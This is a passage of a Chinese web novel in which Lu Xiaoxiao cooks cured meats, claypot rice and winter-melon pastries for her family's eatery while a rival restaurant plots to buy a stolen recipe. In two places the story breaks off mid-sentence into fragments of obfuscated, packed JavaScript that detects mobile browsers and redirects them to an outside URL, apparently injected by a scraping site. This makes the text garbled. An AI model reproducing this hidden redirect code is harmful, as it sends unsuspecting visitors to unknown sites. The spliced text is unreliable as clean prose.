余下的肥肉、瘦肉分别切成肉丁，瘦肉丁用盐水浸泡溶出血水后滤干，肥肉丁开水烫洗后滤干，接着将洗净的肥、瘦肉丁混合，三分肥肉，七分瘦肉，按比例拌入调料腌渍后，灌入肠衣。 卢晓晓做了两种口味的腊味，一种是甜味的广式腊味，一种是麻辣的川式腊味。辣椒难得，川式腊味只做了少量。 制腊味颇费工夫，卢晓晓兄妹两忙个不停也要几日才能做好，好在时至冬寒，猪肉搁几日也不会坏。 卢晓晓忙到酉时，便腾手去做晚食，猪心、猪肺煲汤，猪肝、猪腰、猪舌爆炒，猪肚洗净吊在灶台上，只等明日再做。 卢大贵夫妇从村里回来的时候，一顿晚食做得很是丰富。喷香的饭菜让忙碌的一家人忘却了疲惫，只觉得日子过得有滋味极了。 “娘，张家今日可来了?”卢二郎道。 “今日午时过来的，来了好几人，想要一百两银子，好在你们二伯娘有所准备，最后给了二十两，张家就签了契，往后孩子就与他们再无关系了，如今只盼他能健健康康地长大，就是可惜了你们堂嫂。” “娘，生孩子这样凶险吗?”卢晓晓不禁问道，不得不说秀珠的悲剧，让本就恐惧在古代生育的她受到了冲击。 “生孩子自是有风险的，不过这也是意外，娘生了你们几个不都好好的吗?”许是见卢晓晓流露出的害怕，卢二娘子开口安抚道。 卢晓晓还欲说些什么，可也知道，她若是说想不结婚，不生孩子，是多么惊世骇俗的事，便歇了嘴。 吃过晚食，赵杏花收拾碗筷，卢晓晓和卢二郎则继续忙活处理猪头、猪蹄、猪皮，这三样做成卤味最易。 卢二郎将其放到火上燎皮，卢晓晓则用刀刮去表面的黑色杂质，冲洗干净，再用竹制的镊子去除未燎尽的猪毛。入口的东西，干净最是重要，这一弄费了好一会儿工夫。 处理干净，又拿出赁来的斩骨刀，将猪头劈开，猪蹄纵向一劈为二，再横向斩成块，猪皮刮去油层，切成大块，分次放入锅中，加入过面的水，大火烧开后，加入姜蒜去腥，敞锅沸煮片刻，去除肉中的血沫和异味，捞起晾凉。 接着起锅下油，放入葱姜蒜、八角、桂皮爆香，烹入大酱，加入热水。烧开后放入焯过水的猪头、猪蹄，大火烧开后，加入猪皮，再次烧开后，盖上锅盖，转小火炖煮，炖足一个时辰。再揭盖，猪头肉、猪蹄已七八成熟，表皮呈酱色，此时加入盐和糖调味，继续炖煮至筷子轻松插透。 卤得的猪蹄软糯脱骨、劲道入味，猪皮香而不腻，入口即化。猪头还需再烹，出锅后扒离骨肉，猪头肉放回锅中继续熬煮，小火煮上一刻钟，这才成了菜。接着将炖成的卤味放入缸中，这一小缸的卤味能吃好几日。 等到第二日，一家人又回了村里，送了秀珠最后一程。 63. 瓦煲饭 卢记食坊连着歇业了两日，再开业已是腊月十一。 开门没多一会儿，江月瑶便来了，见食坊开了门，很是欢喜，道，“小娘子，这两日你们没开业，可把我闷坏了。” “江小娘子来了，前两日家中有事，便歇了业。今日要吃些什么?有新出的卤味，卤猪头肉、卤猪蹄、卤猪皮，可要来一份?” 江月瑶闻言，略微皱了皱眉，道，“这卤味可是小娘子做的?” “是我做的，快过年了，家中制作腊味，买了两头猪，就做了些卤味。小娘子放心，处理得干净着呢！”卢晓晓一边回话，一边手不停地包馄饨。 “那来一份卤味，再要份鲜肉馄饨。”看着卢晓晓一气呵成地包馄饨动作，都把她看馋了。 赵杏花闻声给盛了份卤味，江小娘子是常客，又特地问她爱吃哪样，不爱吃哪样。江月瑶哪里吃过这些腤臜部位，只让她随意。 今日天气寒凉，来铺子吃食的人不多，多是叫了闲汉买回家中。江月瑶选了张离档口近的桌子坐下，一边等，一边与两人说着闲话。 春芬还在家中帮忙，铺子里只有卢晓晓和赵杏花两人。赵杏花忙着盛吃食，又忙着装外卖，卢晓晓一人负责两口灶，又要煮馄饨，又要煮麻辣烫，忙得很。 “今日铺里怎么只你两人，这样忙，怎么不见卢小哥来前头帮忙?” “二哥在后头也忙着呢，要做菜，还要做腊味！我娘今日也在后头做腊味。江小娘子可要在城关镇过年?”卢晓晓道。 江月瑶摇了摇头，道，“明日就要回府城了，爹爹不得闲过来，我与祖父祖母回府城过年，可惜不能吃上你们做的腊味了。” 卢晓晓把馄饨煮好，盛到碗里，与卤味一道端了过去，又道，“明年可还来城关镇?若是来得早，还能赶上吃腊肉腊肠的。” “许是不来了。”江月瑶道。等事情过去了，鼎丰楼的大少爷不再惦记她，家里就要给她安排婚嫁之事了。 赵杏花闻言，想到一提江月瑶就脸红的卢二郎，心思转了转，也说不出什么，只在心中叹了口气。 冬日的卢记食坊，缕缕炊烟驱散了寒气，铺子里一片温馨。不远处的醉香楼，气氛就没有这样和谐了。 醉香楼的祁掌柜皱着眉头，手里拿着一封信道，“汴京那边又来信了，问你我拿到做粉丝的方子了吗?” “怎催得这样急?上一封信来也不过十日的日子。”李师傅问道。 “说是有文人为青阳粉丝写了词，传唱盛广，如今粉丝在汴京名声大噪。东家想抢在名声传到宫里之前，在汴京的庄子办一工坊，将自家粉丝献于官家。令我俩定要速办。” “我也没法子，派去工坊做工的人只能接触到前头的工序，后头如何由豆糊变成粉丝是全然不知晓，元家把后头的工序看得死死的。” “卢家呢?卢家那小媳妇的娘家不是被你拿捏住了吗?我说老李，你可别觉得这事得不着什么好处，就不上心了。我落不着好，你也好不了。”祁掌柜威胁道。 李师傅是醉香楼的大师傅，如无意外，就在这城关镇上待一辈子了，不似这掌柜的，若是立功了，东家便会把他派到县里，派到府城，甚至派到汴京。 “哎哟，掌柜的，你说这话可叫人寒心，我不上心?我那侄儿好些日子没回楼里了，日日在那杜家村当货郎，就想着找机会让卢家人把方子漏出来。这可是我亲侄儿啊，前两日还跟我哭说厨艺都生疏了。” “是李小六?如今如何了?”祁掌柜期盼地问道。 “就是那小子。说来也是晦气，前些日子，好不容易拿捏住张家，又说动了那姓张的小媳妇把方子拿出来，谁知竟被抓了个现行，被分了家。” “那这不是断了门路?” “倒也不是，这分了家正好，那小媳妇的男人会做粉丝，却没得去工坊做活。那小媳妇又是个耳根子软的，前两日小六拿钱诱她，快要说动了，可我手头上的银两有些不趁手。”李师傅开口道，有意从掌柜这捞上一笔。 “那妇人要多少?”若是花银子便能在东家处露脸，那这银子就能花。 “这方子让她被分了家，没个三百两，她不肯松口。” 掌柜到账上支了三百两银子给李师傅，又嘱咐道，“老李，这钱我可不是白给的，你可得把事办妥了。” 拿了银子，李师傅去灶上打了声招呼，捡了包肉菜，哼着曲儿，就回家去了。 这李师傅在外头有个二娘子，平日里都宿在那边，甚少回家。 李师傅到家的时候，大娘子正在屋里打盹，屋子里烧着炭，很是暖和。 “你怎的回来了?”大娘子见他回来，很是诧异，起身接过外氅，又唤丫鬟去端热水。 “把这菜拿去热了，我寻小六说事，他可回来了?”李师傅把菜递给丫鬟。 “哪出去了，这一天天的就在屋里呢，刚还来问今日吃些什么！我让人去把他唤来。”大娘子又对丫鬟挥了挥手。 李小六本在屋子里睡得迷迷瞪瞪的，听见李师傅回来了，赶紧穿好衣服，汲上鞋子，跑了出来。 “你这懒骨头，我使你去杜家村弄方子，你就在这躲懒。”李师傅骂道。 “我的好叔叔，你心疼心疼我，这天寒地冻的，那张娘子快临盆了，门儿都不出，我上哪儿弄方子啊！” “别在这嚎了，这有一百两，你明日就去找张家，让他们说动张娘子，劝她男人把方子写下来，你若是能少花银子，那剩下的钱都归你了。” 李小六领了活，第二日便往张家村去了，谁知被张家赶了出来，骂他晦气，又往杜家村去，才知道秀珠人没了。 又说张家，听说人愿意用八十两买粉丝做法，又是恼又是悔，恼秀珠没有早把那做法学来，悔临盆那夜没有保住秀珠。 李师傅叔侄俩不想这到手的银子飞了，将这事瞒了下来，打算再寻一元家的长工打探。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815258|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时光如流水，一转眼便到了腊月二十三，卢晓晓制的腊味已得食。 腊肉色泽鲜艳，金黄透亮，肥不腻口，瘦不塞牙。腊肠色泽光润，肥瘦分明，瘦肉红艳，肥肉雪白，香气浓郁。 腊味得吃，卢记食坊就要推出新菜品了，提前买了几口陶制的平口砂锅，准备做腊味瓦煲饭，这瓦煲饭在现代有个更负盛名的名字，叫做煲仔饭。 瓦煲饭有三讲究，用米、火候和料汁。米要选晚稻米，油润晶莹，米味浓郁，吸水性好。火候要根据选用的米调整，产地不同、新旧不同，米的吸水量就不同，需要的火候也不同。卢晓晓试了好几回，才试出了最佳水量和火候。料汁则是瓦煲饭的灵魂，食用前直接淋在饭上，卢晓晓调制的料汁，混合了酱油、糖、盐、水、味精。 瓦煲饭做起来颇费工夫。 先要在砂锅底薄薄的抹一层猪油，大米洗净放入锅中，加入适量的水，浸泡上半个时辰。大米浸泡后再煮制，口感更有弹性，颗粒更饱满。上灶前，再加入一小勺菜油拌匀，接着放到烧好火的灶上大火烹制，沸腾后转小火，盖上锅盖焖煮。 然后将腊肠、腊肉切片，切少许姜丝，锅中水分快干时，将切好的腊味和姜丝铺于米饭表面，盖上锅盖继续小火焖煮半刻钟后，灭掉柴火，不揭开盖子，让米饭和腊味在锅中再焖上一刻钟。 焖饭的期间，洗上一把小油菜，烧开一锅水，放入一点盐，保持油菜鲜绿的颜色，滴上几滴油，小油菜下锅一烫，再经冷水过凉，捞出沥干水分。然后揭开瓦煲饭的锅盖，将小油菜快速地码在饭面。 瓦煲饭做好正值饭点，卢晓晓将瓦煲端到前头铺子。赵杏花一早便知会了客人，今日有新品，客人们见卢晓晓端了口热气腾腾的锅出来，纷纷伸头探望。 还不等卢晓晓吆喝，一客人便心急地问道，“小掌柜，今日卖的是什么新鲜吃食呀?怎么卖?快给我来一份，我这等老半天啦！” 卢晓晓顺势接话道，“大爷，您别急，今日店里推出了腊味瓦煲饭，这瓦煲饭呀，有饭有菜，放了我们家秘制的腊味腊肠，咸香醇厚，一份能得一碗瓦煲饭，还有一块锅巴。” 说罢，揭开锅盖，腊味的咸香味扑鼻而来，香味四溢，米饭粒粒饱满，吸足了油水，红亮诱人的腊味被斜切成薄片铺在饭面，瘦肉红艳，肥肉透白，又有翠绿的青菜点缀其间。 接着加入切好的葱花、香菜，将调制好的料汁倒入锅中，滋滋作响，用勺子拌匀，料汁的酱香味遇热得到挥发，浓郁的酱香带着腊肉的醇香钻心入肺，叫人垂涎三尺。 一锅够十份瓦煲饭，还未盛出，就被客人定光了。米饭一入口，客人无不说好，米饭粒粒分明，油光饱满，锅巴酥脆焦香，滋味悠长，咬下去卡兹作响，别有一番趣味。 到了晚食的时间，铺子里连着卖了十余锅瓦煲饭，还有那整锅买回家中的。卢晓晓又唤了两闲汉，装了两锅瓦煲饭，一锅送去了宋府，一锅送去了李府。 64. 冬蓉酥 第二日一早，宋老太太跟前的银杏送来了一匣子的蜜饯。 银杏是宋府里的大丫鬟，打扮气度很不一般，从软轿下来的时候，赵杏花还以为是哪家的小姐，赶忙迎上前去。 “晓晓可在铺子里?老太太使我送些蜜饯过来。” 赵杏花请人坐下，又忙去后面灶房唤卢晓晓。 卢晓晓闻声快步走来，见是银杏，亲热地道，“银杏姐姐，终于把您盼来了，老太太可有什么吩咐?” “喏，这是老太太使我送来的蜜饯，夸你昨日送的瓦煲饭好，饭煮得喷香，她很喜欢。你不知，老太太昨日吃了足足一碗，若不是张妈妈劝着，就该吃多了。” “是该劝着，那饭不好克化，可不能让老太太多食了，尝尝味就行。烦银杏姐姐回去替我谢过老太太，过两日我备好年礼再去向她问好。” “那你可得备些新鲜吃食，老太太最喜欢你做的这些吃食了，我回去跟她一说，她定是高兴。”银杏笑说。 “姐姐可真是难为我了，这我得好好琢磨琢磨。银杏姐姐可急着回去?不如在铺里吃些早食再回去。” “我也是这么想的，早就盼着能来你这铺子了，听说你们铺子里的馄饨皮薄馅多，鲜嫩多汁，我惦记着好些日子了。还有新出炉热乎乎的鸡蛋灌饼，也要来一份。” “姐姐等等，我一会就给你送来。”卢晓晓亲自给银杏煮了碗馄饨，做了份灌饼。吃过早食，银杏又坐轿回了宋府。 卢晓晓回了灶房，将腊好的腊味，点了点，分了分，决定过两日再买两头猪，多制些腊味。 给各家准备的年礼中，除了腊味，卢晓晓还准备做些糕饼。 要说糕饼，卢晓晓最先想到的是用料少、做工简单、味道好的老婆饼，老婆饼还有一名字，叫冬蓉酥，外皮酥掉渣，内里软糯甜入心，最适合这冬日食用。 冬蓉酥的主要用料就是面粉和猪油。腊月二十四交年节，正值新年旧年交替之际，家家户户多在这日杀鸡宰猪，卢晓晓托李屠夫收了好些肥肉。 未到中午，卢大贵就将肉取了回来，卢晓晓兄妹两赶紧把白花花的肥肉炼成猪油。 炼油时，需将洗净的肥肉切成两指宽的小块，才能把肉的油脂充分熬出。兄妹俩一人切肉，一人炼油，好不忙碌。 肥肉块入锅，加入小半碗水，加水可是炼油的小妙招，熬出来的猪油更白更香。大火烧开后，转小火慢熬。初时油少，需用勺子轻轻搅拌，让肉块受热均匀，等油漫过肥油，控制火候就行了。 待肥肉熬缩成微黄色的肉粒，锅中油呈淡黄色，这油便熬好了。待锅中油略凉，倒入罐中，不出两个时辰，就会凝成雪白的油脂。 猪油用处多，可以用来做糕饼，又可以用来炒菜，做饭时加上些还可以增香。卢晓晓一次熬了不少，光猪油渣就熬出了一大罐。 猪油渣极香，但多食无益，卢晓晓给自家留了少许，又让春芬拿些回家，剩下的就让卢大贵到村里分给往日供菜给铺子的村民，给孩子们当个零嘴。 等猪油凝固，卢晓晓便开始做冬蓉酥了。 先是准备油皮，取适量的温水将糖块融化，盆中加入五斤的面粉，三斤的猪油，倒入化开的糖水，加少许盐，搅拌至无水状态，上手揉至光滑的面团后，搓成长条，再揪出一个个大小均匀的小剂子。 接着准备油酥，取三斤面粉，三斤玉米粉，三斤猪油混入盆中，搅拌均匀，再分切揉搓成小团。 然后将准备好的油皮剂子压扁，包入油酥后，擀成长面皮，再卷成卷，盖上面巾，醒上一刻钟后，擀成长面皮又再次卷起，继续醒上一刻钟。 卢晓晓用的是小包酥的手法，皮酥均匀，饼皮光滑，不易破碎，但是费时费力，好在卢二郎看两遍便学会了，两人一起，速度快了不少。 等饼皮做得差不多，卢晓晓又去做馅料，在锅中加入一斤半猪油、两斤糖、适量水，大火煮开后，转小火，倒入四斤半糯米粉，不停的搅拌，混合至粘稠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825214|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馅状后，加入炒熟的白芝麻，搅拌均匀。 炒好的馅料还不能直接用，放到室外冷却半个时辰，冷到馅不粘手，再分成小团，揉成圆球。 接着把饼皮擀成薄片，将馅料放在中心，左手虎口环住饼皮，右手边捏边旋转，让饼皮把馅料完全包裹，捏紧收口，整型搓成圆球状，再用手压扁，放入烤盘。 接着在每个饼的表面刷上蛋黄液，划上三刀，再送入烤炉烤制。 出炉的冬蓉酥香酥金黄，轻轻掰作两半，外皮酥脆掉渣，内馅香甜软糯，尝上一口，细腻的馅料中混着芝麻的颗粒感，口感香醇软糯，又带有层次。 把烤好的冬蓉酥晾凉后，错落地码在筐中。卢晓晓做的冬蓉酥皮薄馅大，除了试火候烤坏的几个，这回一共得了一百二十二个冬蓉酥。 元府、李府、宋府，一家包了二十个，方掌柜、孔夫子处各包了十个，又给春芬包了二十个拿回家。余下的三十二个，卢晓晓决定自家吃。 做完冬蓉酥，兄妹两又忙活起晚食，吃完晚食，又忙着焚香祭灶。有道是，二十四，拜灶王，醉司命，照虚耗。 卢家靠着灶上吃饭，这拜灶王就是顶顶重要的一件事。置一八仙桌于灶前，上摆着一桌子的好肉好菜，还有一碗灶糖，一碟子蜜饯，一碟子冬蓉酥，一壶温热的芙蓉酒。 卢大贵先是向灶王进香，接着斟酒叩头，卢大郎怀抱一公鸡立于左侧，身后卢二娘子、卢二郎、三郎、晓晓、赵杏花立成一排。 这是赵杏花第一回参加祭灶，宋朝有男儿酌献女儿避一说，卢家就没这些讲究。 等卢大贵向拜祭过灶王，将手中酒浇于鸡头，公鸡喔喔啼叫，欲扑棱而起，意味着灶王上了天，这祭灶才结束。 腊月二十四一过，年味浓了起来，家家户户开始置办年货，赶集上店。 卢晓晓把准备好的年礼李府送了一份，宋府送了一份，接着让卢大郎提了一份给书肆的方掌柜，又让卢三郎提了份给学堂的孔夫子。